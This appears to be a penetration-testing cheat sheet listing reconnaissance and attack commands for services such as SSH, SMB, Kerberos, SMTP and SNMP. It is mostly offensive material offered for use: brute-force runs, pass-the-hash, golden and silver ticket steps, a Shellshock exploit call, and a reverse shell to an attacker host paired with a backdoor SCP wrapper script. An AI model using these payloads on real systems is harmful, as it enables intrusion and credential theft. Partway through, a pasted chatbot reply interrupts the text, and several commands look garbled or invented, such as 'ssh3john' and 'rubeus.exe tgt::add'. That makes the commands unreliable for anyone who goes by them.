1. Information Gathering
1.1 Passive Information Gathering
whois
whois [domain]
# Specify a different whois server
whois [domain] -h [server]`
Google Dorks
site:somesite.com
orsite:megacorpone.com -filetype:html
filetype:txt
orext:txt
intitle:"somethig"
- Google Hacking Database
Other Tools
- Netcraft
- gitrob and gitleaks
- Shodan.
- Security Headers
- SSL/TLS
1.2 DNS Enumeration
host [domain]
host -t txt [domain]
host [subdomain].[domain]
nslookup -type=TXT [domain] [use_specific_dns_server_optional]
- Automatic brute-force of DNS:
for ip in $(cat list.txt); do host <ip>.[domain]; done
1.3 Port Scanning
1.3.1 Netcat
nc [options] [host] [port_number]
# UDP instead of TCP
nc -u [host] [port number]
# Listen for an incoming connection rather than initiate connection
nc -l [host] [port number]
# Continue listening for connections after first client has disconnected
nc -k -l [host] [port number]
# TCP Scan in port range
nc -nvv -w 1 -z [host] [beginning_port]-[finished_port]
# -w is to specify the connection timeout in seconds, as well as -z to specify zero-I/O mode, which is used for scanning and sends no data
nc -nv -u -z -w 1 [host] [beginning_port]-[finished_port]
# -u inidcates to do an UDP scan
nc -zvu [host] [port]
# Receive reverse shell in specific port
nc -nvlp [listening_port]
1.3.2 Nmap
Personal Methodology
- Advanced enumeration:
nmap -A [IP/domain] -oN [machine_name].txt
- Fast all ports scan:
nmap -p- -T4 -n -Pn [IP/domain] -oN [machine_name]_ports.txt
- Discovery all ports scan:
nmap -p- [IP/Domain] -oN [machine_name]_ports.txt
- Top ports:
nmap [IP/Domain] --top-ports [number_of_top_ports]
Scan Types
- UDP Scan
-sU
(in conjunction with a TCP SYN scan to get a better picture):sudo nmap -sU -sS [IP]
- TCP Connect Scanning
-sT
(handshake completed):nmap -sT [IP]
- Stealth scan
-sS
(handshake not completed):sudo nmap -sS [IP]
- Specific Port Scan:
nmap -p [portNumber] [IP]
Network Sweeping (-sn
): (for ranges and common ports):
nmap -sn [IP_range]
- Top 20 ports:
nmap --top-ports=20 [IP]
. (Ports located in/usr/share/nmap/nmap-services
)
Detection and Scanning
- OS Detection (
-O
):nmap -O [IP]
- OS Guessing (analyzes received packets):
nmap --osscan-guess [IP]
- Service Discovery (
-sV
):nmap -sV [IP]
- Service Banners and Traceroute (
-A
):nmap -A [IP]
. Use with caution; it can be slow. Alternatives include a plain scan (-sV
).
Saving Results
- Save to a File (
-oG
):nmap -v -sn [IP_range] -oN [fileName].txt
- Analyze File:
grep Up [fileName] | cut -d " " -f 2
Nmap Scripting Engine (NSE). (Scripts located in /usr/share/nmap/scripts/)
- Run Script (
--script
):nmap --script [scriptName] [IP]
- Script Help:
nmap --script-help [scriptName]
- Example Script:
nmap --script http-headers [IP]
- Run all scripts in a Category
(
auth
,broadcast
,brute
,default
,discovery
,exploit
,fuzzer
,malware
,safe
,version
,vuln
):nmap --script [category] [IP]
PowerShell Functions
- Check TCP Port:
Test-NetConnection -Port [portNumber] [IP]
- Port Scan Script
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("[IP]", $_)) "TCP port $_ is open"} 2>$null
1.3.3 Rustscan
- Basic RustScan (Scan all TCP ports quickly):
rustscan -a <target-ip> -p 1-65535
- RustScan + Nmap for All TCP Ports:
rustscan -a <target-ip> -p 1-65535 -- -Pn
- Scan Specific Port Range:
rustscan -a <target-ip> -r 1-1000
- Adjust Timeout and Batch Size for Slow Networks:
rustscan -a <target-ip> -b 500 -u 5000
- Scan Specific Ports Only:
rustscan -a <target-ip> -p 22,80,443
- Save Results to a File:
rustscan -a <target-ip> -- -oN [machine]_rustscan.txt
- UDP Scan (Using Nmap after RustScan for UDP ports):
rustscan -a <target-ip> -- -sU -p 1-65535
1.4 Specific Port Services
1.4.1 21: FTP
Nmap Scripting scan
nmap --script ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 [IP]
Emumeration
ftp -A [IP]
ftp [IP]
# Login with anonymous credentials
anonymous:anonymous
# Upload a test file to check for reflection on an HTTP port
put test.txt
Upload binaries
ftp> binary
ftp> put [binary_file]
Downloading files recursively
wget -r ftp://[user]:[password]@[IP]/
# Searching for specific file
find / -name [filename_pattern] 2>/dev/null
# Example of searching for files
find / -name Settings.* 2>/dev/null
Brute Force
hydra -l [username] -P [path_to_wordlist] [IP] -t 4 ftp
Passive Mode Syntax
ftp -p [IP]
1.4.2 22: SSH
Nmap Scripting Scan
# Basic SSH Service Scan
nmap -p 22 --script=ssh-hostkey <target_ip>
# SSH Authentication Bypass Detection
nmap -p 22 --script=ssh-auth-methods <target_ip>
# SSH Brute Force Attack
nmap -p 22 --script=ssh-brute --script-args userdb=/usr/share/seclists/Usernames/top-usernames-shortlist.txt,passdb=/usr/share/wordlists/rockyou.txt <target_ip>
# Enumerate SSH Version
nmap -p 22 --script=ssh3-enum-algos <target_ip>
# Detect Weak SSH Encryption Algorithms
nmap -p 22 --script=ssh3-enum-algos,sshv1 <target_ip>
# SSH Public Key Authentication
nmap -p 22 --script=ssh-publickey-acceptance --script-args ssh.user=<username>,ssh.privatekey=<path_to_private_key> <target_ip>
Brute Force Common Credentials
hydra -l <user> -P /usr/share/wordlists/rockyou.txt <target_ip> -t 4 ssh
hydra -L <user_list> -p <password> <target_ip> -t 4 ssh -s <port>
hydra -f -V -C /usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt -s 22 [IP] ssh
User Obtained Private Key
chmod 600 [output_key_file]
ssh [user]@[IP] -i [output_key_file]
Convert PuTTY Key to OpenSSH Format
puttygen [putty_key_file] -O private-openssh -o [output_key_file]
Crack SSH Private Keys
ssh3john <private_key_file> > <private_key_file>.hash
john --wordlist=/usr/share/wordlists/rockyou.txt <private_key_file>.hash
Finding Private Keys
find /etc/ssh -name "*.pub"
find /home/<user>/.ssh -name "id_*"
Possible Errors
# No Password
ssh3john <private_key_file> > <private_key_file>.hash # id_rsa has no password!
# Wrong User or Key
ssh <user>@<target_ip> -p <port> -i <private_key_file> # Error message: Permission denied (publickey,password).
Download Files from Remote Host
# Download a Single File
scp user@remote_host:/path/to/remote/file /path/to/local/destination
scp user@192.168.1.10:/etc/config.txt /home/user/config.txt
# Download Multiple Files
scp user@remote_host:/path/to/remote/file1 /path/to/remote/file2 /local/destination/
scp user@192.168.1.10:/etc/config.txt user@192.168.1.10:/etc/passwd /home/user/
# Download a Directory Recursively
scp -r user@remote_host:/path/to/remote/directory /local/destination/
scp -r user@192.168.1.10:/var/www/html /home/user/
# Downlaod a File from a Specific Port (in case SSH is running on a non-default port)
scp -P 2222 user@remote_host:/path/to/remote/file /local/destination/
scp -P 2222 user@192.168.1.10:/etc/config.txt /home/user/
# Download a File Using a Private Key
scp -i /path/to/private_key user@remote_host:/path/to/remote/file /local/destination/
scp -i ~/.ssh/id_rsa user@192.168.1.10:/etc/config.txt /home/user/
# Download Files with Verbose Output
scp -v user@remote_host:/path/to/remote/file /local/destination/
scp -v user@192.168.1.10:/etc/config.txt /home/user/
# Download File Without Host Key Checking, to bypass host key checking (not recommended for secure environments)
scp -o StrictHostKeyChecking=no user@remote_host:/path/to/remote/file /local/destination/
scp -o StrictHostKeyChecking=no user@192.168.1.10:/etc/config.txt /home/user/
Upload Files to Remote Host
# Upload a Single File
scp /path/to/local/file user@remote_host:/path/to/remote/destination
scp /home/user/config.txt user@192.168.1.10:/etc/config.txt
# Upload Multiple Files
scp /path/to/local/file1 /path/to/local/file2 user@remote_host:/remote/destination/
scp /home/user/config.txt /home/user/passwd user@192.168.1.10:/etc/
# Upload a Directory Recursively
scp -r /path/to/local/directory user@remote_host:/path/to/remote/destination/
scp -r /home/user/html user@192.168.1.10:/var/www/
# Upload a File to a Specific Port (in case SSH is running on a non-default port)
scp -P 2222 /path/to/local/file user@remote_host:/path/to/remote/destination/
scp -P 2222 /home/user/config.txt user@192.168.1.10:/etc/config.txt
# Upload a File Using a Private Key
scp -i /path/to/private_key /path/to/local/file user@remote_host:/path/to/remote/destination/
scp -i ~/.ssh/id_rsa /home/user/config.txt user@192.168.1.10:/etc/config.txt
# Upload Files with Verbose Output
scp -v /path/to/local/file user@remote_host:/path/to/remote/destination/
scp -v /home/user/config.txt user@192.168.1.10:/etc/config.txt
# Upload File Without Host Key Checking, to bypass host key checking (not recommended for secure environments)
scp -o StrictHostKeyChecking=no /path/to/local/file user@remote_host:/path/to/remote/destination/
scp -o StrictHostKeyChecking=no /home/user/config.txt user@192.168.1.10:/etc/config.txt
Exploit SSH with Specific Options
- Bypass Host Key Checking: disables the host key checking mechanism, which is
normally used to ensure that the SSH server you're connecting to is the one you expect. By
setting
UserKnownHostsFile
to/dev/null
andStrictHostKeyChecking
tono
, you can bypass this check, which might be useful in environments where SSH keys are not properly managed.
ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no user@target_ip
- Force a Different Cipher: forces the use of a specific encryption cipher (in this
case,
aes128-cbc
). This option can be exploited if the server is vulnerable to weaknesses in a particular cipher or if a certain cipher is known to be poorly configured.
ssh -c aes128-cbc user@target_ip
- Force an Older SSH Version: forces SSH to use protocol version 2, which is more
secure than version 1. However, if a server still supports SSH version 1, you can try to exploit
vulnerabilities in the older protocol by forcing it with
-1
; this can sometimes reveal older, less secure configurations or bugs in the SSH service.
ssh -2 user@target_ip
- SSH Reverse Shell with Weak Cryptographic Algorithms: used to exploit a vulnerable
SSH server by forcing it to use outdated and weak cryptographic algorithms
(
diffie-hellman-group1-sha1
andssh-rsa
); the SSH command initiates a connection to the target server, then executes a reverse shell that connects back to the attacker's machine.
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa <user>@<target_ip> -t 'bash -i >& /dev/tcp/<attacker_ip>/443 0>&1'
nc -nvlp [listening_port]
- Execute a Command Upon Connection:
ssh user@target_ip "whoami"
RCE with SCP Wrapper Steps:
- Create an SCP Wrapper Script: This script intercepts SCP commands. If the original SCP command is detected, it executes normally. Otherwise, it triggers a reverse shell back to the attacker's machine.
- Upload the Malicious Script: Use SCP to transfer this script to the target machine, placing it in a directory where it will be executed.
- Trigger the Script: SSH into the target machine, and the wrapper script will execute the reverse shell or specified commands, providing remote access.
- Catch the Shell: Use a tool like Netcat (
nc
) to listen for the incoming reverse shell connection on your attacker's machine.
- SCP Wrapper Script
#!/bin/bash
case $SSH_ORIGINAL_COMMAND in
'scp'*)
$SSH_ORIGINAL_COMMAND
;;
*)
echo "ACCESS DENIED."
bash -i >& /dev/tcp/<attacker_ip>/443 0>&1
;;
esac
- Upload SCP Wrapper and Start Listener
scp -i <private_key_file> scp_wrapper.sh <user>@<target_ip>:/home/<user>/
nc -nlvp [listening_port]
- Connect to the victim
ssh -i <private_key_file> <user>@<target_ip>
1.4.3 23: Telnet
# Basic login
telnet <target_ip> 23
# Login with specific username
telnet -l <username> <target_ip>
1.4.4 25: SMTP
Enumeration
# Nmap Scripting Scan
nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 <target_ip>
# Netcat and Telnet Interaction
nc -nv <target_ip> 25
telnet <target_ip> 25
EHLO ALL
VRFY <USER>
# Interaction Example
kali@kali:~$ nc -nv 192.168.123.8 25
(UNKNOWN) [192.168.123.8] 25 (smtp) open
220 mail ESMTP Postfix (Ubuntu)
VRFY root
252 2.0.0 root
VRFY test_user
550 5.1.1 <test_user>: Recipient address rejected: User unknown in local recipient table
^C
Python Script for Enumeration
# Usage
kali@kali:~/Desktop$ python3 smtp.py root 192.168.123.8
b'220 mail ESMTP Postfix (Ubuntu)\r\n'
b'252 2.0.0 root\r\n'
kali@kali:~/Desktop$ python3 smtp.py testUser 192.168.123.8
b'220 mail ESMTP Postfix (Ubuntu)\r\n'
b'550 5.1.1 <testUser>: Recipient address rejected: User unknown in local recipient table\r\n'
import socket
import sys
if len(sys.argv) != 3:
print("Usage: vrfy.py <username> <target_ip>")
sys.exit(0)
# Create a Socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the Server
ip = sys.argv[2]
connect = s.connect((ip,25))
# Receive the banner
banner = s.recv(1024)
print(banner)
# VRFY a user
user = (sys.argv[1]).encode()
s.send(b'VRFY ' + user + b'\r\n')
result = s.recv(1024)
print(result)
# Close the socket
s.close()
Installing Telnet Client for Windows
dism /online /Enable-Feature /FeatureName:TelnetClient
# Interaction Example
C:\Windows\system32>telnet 192.168.123.8 25
220 mail ESMTP Postfix (Ubuntu)
VRFY testUser
550 5.1.1 <testUser>: Recipient address rejected: User unknown in local recipient table
VRFY root
252 2.0.0 root
Exploitation with SMTP Postfix Shellshock Exploit
# Reference: https://gist.github.com/YSSVirus/0978adadbb8827b53065575bb8fbcb25
python2 shellshock.py <target_ip> <username>@<domain> <attacker_ip> 139 <root>@<domain>
# Example: python2 shellshock.py 192.168.1.100 emmanuel@corp.local 192.168.1.50 139 admin@corp.local
1.4.5 53: DNS
Nmap Scripting Scan
nmap --script dns-brute,dns-nsid,dns-recursion,dns-zone-transfer -p 53 <target_ip>
Enumerating AD Domain via DNS
nmap -p 53 --script "dns-nsid,dns-srv-enum" <target_ip>
Basic DNS Enumeration
dig axfr <domain_name> @<dns_server_ip> # Attempt zone transfer
dig ANY <domain_name> @<dns_server_ip> # Retrieve all records
nslookup
> server <dns_server_ip>
> set type=any
> <domain_name> # Query any records
Zone Transfer
dnsrecon -d <domain_name> -n <dns_server_ip> -t axfr
dnsenum --enum -f /usr/share/dnsenum/dns.txt --dnsserver <dns_server_ip> <domain_name>
Reverse Lookup
nmap -sL <target_ip_range> | grep "Nmap scan report" # Reverse DNS lookup for a range
DNS Cache Snooping
dig @<dns_server_ip> -t A +norecurse <target_domain>
Enumerate DNS with PowerShell (Windows)
Resolve-DnsName -Name <domain_name> -Server <dns_server_ip> -DnsOnly
1.4.6 69: TFTP
Nmap Scripting Scan
nmap -p 69 --script tftp-enum <target_ip>
Enumeration Script
# Usage: run the TFTP enumeration script to get a specific file
./tftp_enum.sh <target_ip> <filename>
./tftp_enum.sh 192.168.1.10 bootfile.bin
#!/bin/bash
# TFTP Enumeration Script
if [ "$#" -ne 2 ]; then
echo "Usage: $0 <target_ip> <filename>"
exit 1
fi
TARGET_IP=$1
FILENAME=$2
# Attempt to retrieve file from TFTP server
echo "Attempting to retrieve $FILENAME from $TARGET_IP"
tftp $TARGET_IP -c get $FILENAME
# Check if file was retrieved
if [ -f $FILENAME ]; then
echo "File $FILENAME successfully retrieved from $TARGET_IP"
else
echo "Failed to retrieve $FILENAME from $TARGET_IP"
fi
File Download
tftp <target_ip> 69
tftp> get <remote_file> <local_file>
tftp> quit
File Upload
tftp <target_ip> 69
tftp> put <local_file> <remote_file>
tftp> quit
Brute Force Download
for i in $(cat <file_list.txt>); do tftp <target_ip> 69 -c get $i; done
Automating TFTP Operations
echo -e "get <remote_file> <local_file>\nquit" | tftp <target_ip>
echo -e "put <local_file> <remote_file>\nquit" | tftp <target_ip>
Yes, there are some duplicate elements in the content provided:
-
Kerberos Ticket Extraction and Request Commands:
- Request a TGT: The commands for requesting a TGT using
GetTGT.py
andimpacket-GetTGT
are mentioned twice. You can consolidate them.
- Request a TGT: The commands for requesting a TGT using
-
Cracking Kerberos Tickets:
- Both
john
andhashcat
are mentioned for cracking tickets, but there is no duplicate command. However, mentioning them in the context of bothKerberoasting
andCracking Kerberos Tickets
might be redundant.
- Both
-
Kerberos Ticket Dumping and Manipulation:
- The section on dumping tickets with
mimikatz
and manipulating tickets withpython3 psexec.py
is unique in its context, so there is no exact duplication but could be streamlined to emphasize the sequence of operations.
- The section on dumping tickets with
Here’s a refined version with the duplicates addressed:
1.4.7 88: Kerberos
Nmap Scripting Scan
# Check for Kerberos service availability and get basic information
nmap -p 88 --script kerberos-enum-users <target_ip>
# Check for common Kerberos vulnerabilities
nmap -p 88 --script kerberos-brute <target_ip>
# Enumerate SPNs (Service Principal Names)
nmap -p 88 --script krb5-enum-users,krb5-scan <target_ip>
Enumerate Kerberos Principal Names
Use kerbrute
to enumerate valid user accounts by attempting to authenticate with a list of
usernames.
kerbrute userenum -d <domain> -p <userlist> <target_ip>
Perform Kerberos Ticket Extraction (AS-REP Roasting) Request non-preauthenticated Kerberos tickets for a list of users.
impacket-GetNPUsers -dc-ip <dc_ip> -request -usersfile <userlist> <target_domain>
Perform Kerberos Ticket Request with AS-REP Roasting Request a Ticket Granting Ticket (TGT) for a specific user.
impacket-GetTGT -dc-ip <dc_ip> -outputfile <outputfile> <username>@<domain>
Crack Kerberos Tickets
john --wordlist=<wordlist> <ticket_file>
# or
hashcat -m 13100 <ticket_file> <wordlist>
Kerberos Ticket Extraction Request a TGT or Service Ticket (TGS) using specified credentials.
# Request a TGT (Ticket Granting Ticket)
python3 GetTGT.py -dc-ip <dc_ip> <domain>/<username>:<password>
# Request a Service Ticket (TGS)
python3 GetST.py -dc-ip <dc_ip> <domain>/<username>:<password> -spn <service>/<target>
Kerberoasting Extract and crack service tickets to gain access to service accounts.
# Extract all service tickets for offline cracking
impacket-GetUserSPNs -dc-ip <dc_ip> -outputfile <tickets_file> <domain>/<username>:<password>
# Crack the extracted tickets with John the Ripper or Hashcat
john --wordlist=<wordlist> <tickets_file>
# or
hashcat -m 13100 <tickets_file> <wordlist>
Kerberos Brute Forcing Perform brute force attacks on Kerberos tickets.
krb5-brute -d <domain> -t <target_ip> -u <username> -p <password_list>
Kerberos Ticket Manipulation Use tools to request, manipulate, and renew Kerberos tickets for privilege escalation or impersonation.
# Renew a TGT (for Kerberos ticket manipulation)
python3 psexec.py <domain>/<username>:<password>@<target_ip> -impersonate-user <target_user>
# Perform Kerberos attacks with Rubeus
rubeus.exe asktgt /user:<username> /rc4:<password>
rubeus.exe tgtdeleg /user:<username> /rc4:<password>
rubeus.exe s4u /user:<username> /rc4:<password> /impersonateuser:<target_user>
Kerberos Ticket Dumping Extract Kerberos tickets from memory for offline analysis.
# Dump Kerberos tickets from memory using Mimikatz
mimikatz "lsadump::dcom" "sekurlsa::tickets /export"
Kerberos Pre-Authentication Identify weak configurations that might allow attackers to perform brute force attacks.
# Test for weak pre-authentication configurations
python3 kerbrute.py -d <domain> -u <user_list> -p <password_list> -dc <dc_ip>
Kerberos Silver Ticket Attacks Forge high-value Kerberos tickets for access and privilege escalation.
# Create a silver ticket with Rubeus
rubeus.exe tgt::add /user:<username> /rc4:<password> /sid:<domain_sid> /domain:<domain>
Steps to Perform Silver Ticket Attack
# 1. Obtain a Valid TGT (Ticket Granting Ticket)
impacket-GetTGT -dc-ip <dc_ip> -outputfile <tgt_file> <user>@<domain>
# 2. Forge a Silver Ticket
impacket-atexec -target-ip <target_ip> -service <service> -ticket <ticket_file> <username>
Kerberos Golden Ticket Attacks Forge high-value Kerberos tickets for access and privilege escalation.
# Create a golden ticket with Rubeus
rubeus.exe tgt::add /user:<username> /rc4:<password> /domain:<domain> /sid:<domain_sid> /rc4:<krbtgt_hash>
Steps to Perform Golden Ticket Attack
# 1. Obtain KRBTGT NTLM Hash
impacket-secretsdump -outputfile <dump_file> <target_domain>/<username>:<password>@<dc_ip>
# 2. Generate a Golden Ticket
ticketer -user <user> -domain <domain> -sid <domain_sid> -krbtgt <krbtgt_hash> -output <ticket_file>
# 3. Use the Golden Ticket
impacket-smbexec -target-ip <target_ip> -ticket <ticket_file> <username>
# (Optional) Pass the Golden Ticket
impacket-psexec -target-ip <target_ip> -ticket <ticket_file> <username>
Additional Reference: https://www.tarlogic.com/blog/how-to-attack-kerberos/
1.4.8 110: POP3
Nmap Scripting Scan
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -p 110 <target_ip>
Connect and test Login
# Connect to the POP3 service
telnet <target_ip> 110
# Log in with a test user
USER <username>
PASS <password>
# List all messages
LIST
# Retrieve the first email
RETR 1
Brute Force Login
# Standard brute force on POP3
hydra -l <username> -P <password_list> -f <target_ip> pop3 -V
# Brute force with SSL/TLS on POP3 over port 995
hydra -S -v -l <username> -P <password_list> -s 995 -f <target_ip> pop3 -V
Read Mail via Telnet
# Connect to the POP3 service
telnet <target_ip> 110
# Log in with your credentials
USER <username>
PASS <password>
# List all messages
LIST
# Retrieve a specific email by its number
RETR <mail_number>
# Close the connection
QUIT
1.4.9 111: RPC
Nmap Scripting Scan
nmap -sV -p 111 --script=rpcinfo <target_ip>
Discover RPC Services Using RPCinfo
# Use rpcinfo to get a list of registered RPC services on the target
rpcinfo -p <target_ip>
Identify Available RPC Services
# Check available RPC services and their versions with showmount
showmount -e <target_ip>
1.4.10 135, 593: MSRPC
Nmap Scripting Scan
nmap -p 135 --script msrpc-enum <target_ip>
Enumerating MSRPC using rpcdump
rpcdump.py <target_ip> -p 135
Enumerate RPC over HTTP Services
# Scan for RPC over HTTP services using Nmap
nmap -p 593 --script http-rpc-epmap <target_ip>
Enumerating RPC with rpcclient
# Connect to the target and list available shares
rpcclient -U "" -N <target_ip> -c "srvinfo"
# List all available users
rpcclient -U "" -N <target_ip> -c "enumdomusers"
# Enumerate domain groups
rpcclient -U "" -N <target_ip> -c "enumdomgroups"
# Query user information
rpcclient -U "<username>" -W "<domain>" <target_ip> -c "queryuser <username>"
Commands for rpcclient
enumdomusers
enumdomgroups
queryuser 0x450
enumprinters
querydominfo
createdomuser
deletedomuser
lookupnames
lookupsids
lsaaddacctrights
lsaremoveacctrights
dsroledominfo
dsenumdomtrusts
Set User Info with rpcclient
rpcclient -N <target_ip> -U '<username>%<password>' -c "setuserinfo2 <target_username> 23 '<new_password>'"
or
rpcclient -U "" -N <ip> -c "setuserinfo2 <USER> 23 <NEW_PASSWORD>"
The setuserinfo
function in rpcclient
is used to modify user account
information on a remote Windows system. The level
parameter indicates the detail of
information to modify or retrieve:
- Level 0: Basic info (username, full name).
- Level 1: Additional info (home directory, script path).
- Level 2: Further info (password age, privileges).
- Level 3: Detailed info (all above + group memberships).
- Level 4: Most detailed info (all above + SID).
To change a user's password, use setuserinfo2
with a level of 23. This level includes
basic attributes and adds password management functionality. The setuserinfo
function
typically does not handle password changes directly; setuserinfo2
is preferred for this
purpose.
1.4.11 139, 445: SMB
Host Enumeration
# Nmap scan
nmap -v -p 139,445 [IP]
nmap -p 139,445 --script-args=unsafe=1 --script /usr/share/nmap/scripts/smb-os-discovery <ip>
# NetBIOS Scan
sudo nbtscan -r 192.168.50.0/24
# Windows Network View
net view \\[domainName] /all
Nmap Scripting Scan
nmap --script smb-enum-shares.nse -p445 <ip>
nmap --script smb-enum-users.nse -p445 <ip>
nmap --script smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-services.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse -p445 <ip>
nmap -p139,445 --script "smb-vuln-* and not(smb-vuln-regsvc-dos)" --script-args smb-vuln-cve-2017-7494.check-version,unsafe=1 <IP>
nmap --script smb-vuln-conficker.nse,smb-vuln-cve2009-3103.nse,smb-vuln-cve-2017-7494.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse,smb-vuln-regsvc-dos.nse,smb-vuln-webexec.nse -p445 <ip>
nmap --script smb-vuln-cve-2017-7494 --script-args smb-vuln-cve-2017-7494.check-version -p445 <ip>
Advanced Enumeration
# Network Packet Analysis: captures and analyzes packets related to SMB traffic on port 139, looking for specific patterns
sudo ngrep -i -d <INTERFACE> 's.?a.?m.?b.?a.*[[:digit:]]' port 139
# Lists available SMB shares on the target
smbclient -L <IP>
SMB Enumeration with smbmap
smbmap -H <IP>
smbmap -u '' -p '' -H <IP>
smbmap -u 'guest' -p '' -H <IP>
smbmap -u '' -p '' -H <IP> -R
SMB Enumeration with crackmapexec
crackmapexec smb <IP>
crackmapexec smb <IP> -u '' -p ''
crackmapexec smb <IP> -u 'guest' -p ''
crackmapexec smb <IP> -u '' -p '' --shares
crackmapexec smb <IP> -u guest -p "" --rid-brute
User Enumeration with enum4linux
enum4linux -a <IP>
enum4linux -a -u "" -p "" <IP> && enum4linux -a -u "guest" -p "" <IP>
enum4linux -a -M -l -d <ip> 2>&1
enum4linux -a -u "" -p "" <ip>
enum4linux -a -u "guest" -p "" <ip>
SMB Client Operations
smbclient --no-pass -L //<ip>
smbclient -L //<ip> -U [user]
smbclient //<IP>/<SHARE>
smbclient -N //<IP>/<SHARE>
smbclient //<IP>/<SHARE> -U <USER> -c "prompt OFF;recurse ON;mget *" # Change the timeout to download big files
# Change the timeout to download big files
help timeout
timeout 100
# Other commands
prompt off
recurse on
mget *
Brute Force Credentials
crackmapexec smb <IP> -u <USERS_LIST> -p <PASSWORDS_LIST>
hydra -V -f -L <USERS_LIST> -P <PASSWORDS_LIST> smb://<IP> -u -vV
Mounting Shares
# Mounts SMB shares to a local directory for further access and manipulation.
mkdir /tmp/share
sudo mount -t cifs //<IP>/<SHARE> /tmp/share
sudo mount -t cifs -o 'username=<USER>,password=<PASSWORD>' //<IP>/<SHARE> /tmp/share
Execute Remote Commands
# PsExec
psexec.py <DOMAIN>/<USER>:<PASSWORD>@<IP>
psexec.py <DOMAIN>/<USER>@<IP> -hashes :<NTHASH>
# WMIexec
wmiexec.py <DOMAIN>/<USER>:<PASSWORD>@<IP>
wmiexec.py <DOMAIN>/<USER>@<IP> -hashes :<NTHASH>
# SMBexec
smbexec.py <DOMAIN>/<USER>:<PASSWORD>@<IP>
smbexec.py <DOMAIN>/<USER>@<IP> -hashes :<NTHASH>
# AteExec
atexec.py <DOMAIN>/<USER>:<PASSWORD>@<IP> <COMMAND>
atexec.py <DOMAIN>/<USER>@<IP> -hashes :<NTHASH>
Exploitation (EternalBlue - MS17-010): https://github.com/3ndG4me/AutoBlue-MS17-010
PsExec
# Credentials
psexec.py <DOMAIN>/<USER>:<PASSWORD>@<IP>
# Pass the Hash
psexec.py <DOMAIN>/<USER>@<IP> -hashes :<NTHASH>
# Testing with Crackmapexec
crackmapexec smb <IP> -u <USER> -p <PASSWORD> --psexec
crackmapexec smb <IP> -u <USER> -H <NTHASH> --psexec
WMIExec
# Credentials
wmiexec.py <DOMAIN>/<USER>:<PASSWORD>@<IP>
# Pass the Hash
wmiexec.py <DOMAIN>/<USER>@<IP> -hashes :<NTHASH>
# Testing with Crackmapexec
crackmapexec wmiexec <IP> -u <USER> -p <PASSWORD>
crackmapexec wmiexec <IP> -u <USER> -H <NTHASH>
1.4.12 143, 993: IMAP
Nmap Scripting Scan
nmap -p 143,993 --script imap-ntlm-info <ip>
Banner Grabbing Connect to the server to identify software/version.
openssl s_client -connect <target-ip>:993
Search for Vulnerabilities
searchsploit imap <version>
Check for Supported Capabilities
# Usage
python3 check_imap.py <target-ip> <port>
import imaplib
import sys
def check_imap_capabilities(host, port):
if port == 993:
mail = imaplib.IMAP4_SSL(host)
else:
mail = imaplib.IMAP4(host)
print(mail.capabilities())
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python3 script.py <host> <port>")
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
check_imap_capabilities(host, port)
1.4.13 161 (UDP): SNMP
Nmap Scripting Scan
sudo nmap -sU --open -p 161 <target-ip-range> -oG open-snmp.txt
sudo nmap --script snmp-* -sU -p 161 <target-ip>
sudo nmap -sU -p 161 --script snmp-brute --script-args snmp-brute.communitiesdb=<community-file> <target-ip>
Basic Enumeration
# Version: 1, 2c, 3
# Community String: public, private, security, etc
snmpwalk -v <SNMP_VERSION> -c <COMMUNITY_STRING> <target-ip> .1
Brute Force Community Strings
# Popular wordlist: /usr/share/wordlists/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt
# Onesixtyone
onesixtyone -c <community-file> <target-ip>
# Snmpbulkwalk
snmpbulkwalk -c <COMMUNITY_STRING> -v <SNMP_VERSION> <target-ip>
# Snmp-check
snmp-check <target-ip>
Using onesixtyone
Without a Community File
echo <community1> > community
echo <community2> >> community
echo <community3> >> community
for ip in $(seq 1 254); do echo <target-network>.<ip>; done > ips
onesixtyone -c community -i ips
Extended Queries Enumeration
snmpwalk -v <SNMP_VERSION> -c <COMMUNITY_STRING> <target-ip> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
Advanced Enumeration with Specific OIDs
snmpwalk -c <COMMUNITY_STRING> -v <SNMP_VERSION> <target-ip> <OID>
OID Specific Codes
1.3.6.1.2.1.25.1.6.0 --> System Processes
1.3.6.1.4.1.77.1.2.25 --> User Accounts
1.3.6.1.2.1.6.13.1.3 --> TCP Local Ports
1.3.6.1.2.1.25.4.2.1.2 --> Running Programs
1.3.6.1.2.1.25.4.2.1.4 --> Processes Path
1.3.6.1.2.1.25.2.3.1.4 --> Storage Units
1.3.6.1.2.1.25.6.3.1.2 --> Softyware Name
Additional Reference: https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp
Modifying SNMP Values: http://net-snmp.sourceforge.net/tutorial/tutorial-5/commands/snmpset.html
1.4.14 389, 636, 3268 & 3269: LDAP
Nmap Scripting Scan
nmap -n -sV --script "ldap* and not brute" <target_ip>
Ldapsearch Basic Enumeration
# Basic LDAP query
ldapsearch -x -H ldap://<target_ip>
# Basic LDAP Search for a base-level
ldapsearch -h <target_ip> -x -s base
# Get Naming Contexts
ldapsearch -x -H ldap://<target_ip> -s base namingcontexts
# Search in a Specific Base Domain Name
ldapsearch -x -H ldap://<target_ip> -b "DC=<domain>,DC=<tld>"
# Enumerate users using LDAP
ldapsearch -v -x -b "DC=<domain>,DC=<tld>" -H "ldap://<target_ip>" "(objectclass=*)"
# Retrieve users Account Name
ldapsearch -v -x -b "DC=<domain>,DC=<tld>" -H "ldap://<target_ip>" "(objectclass*)" | grep sAMAccountName:
